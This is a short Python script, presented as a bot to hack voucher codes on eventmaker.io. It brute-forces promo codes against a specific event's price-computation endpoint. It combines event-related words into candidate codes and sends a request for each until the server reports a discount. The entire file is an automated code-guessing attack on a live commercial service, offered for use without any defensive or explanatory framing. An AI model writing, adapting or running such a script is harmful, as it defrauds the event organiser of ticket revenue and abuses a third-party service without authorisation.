Bot to hach voucher code in eventmaker.io website

eventmaker_bot.py

import itertools
from unittest.mock import sentinel

import requests

if __name__ == '__main__':
    alphabet = ['BD', 'GT', 'IDEAL', 'IDEALWINE', '18', '2018', 'BETTANE', 'DESSAUVE', 'GRAND', 'TASTING', 'ID']
    product_len = 1
    iterator = itertools.product(*(product_len * [alphabet]))
    code = ''.join(next(iterator))
    event_url = 'https://app.eventmaker.io/fr/public/events/5afc3cda8ab5bc00510013ec/guest_categories/5afc40f4fcb5a40024001a26/registrations/is_promo_code_valid'
    compute_price_url = 'https://app.eventmaker.io/fr/public/events/5afc3cda8ab5bc00510013ec/guest_categories/5afc40c0fcb5a40024001953/registrations/cart_compute_price'
    while not requests.put(compute_price_url,
        data={
            'linked_guests%5B0%5D%5Bguest_category_id%5D': '5afc3fa08ab5bc00510017aa',
            'linked_guests%5B0%5D%5Buid%5D':'1',
            'vat_number_valid': '',
            'promo_code': code,
        }).json()['discount_amount']:

        code = next(iterator, sentinel.END_OF_ITERATION)
        if code == sentinel.END_OF_ITERATION:
            print(f'product_len : {product_len}')
            product_len += 1
            iterator = itertools.product(*(product_len * [alphabet]))
            code = next(iterator, sentinel.END_OF_ITERATION)
        code = ''.join(code)
        print(f'code : {code}')
        if product_len > 5:
            break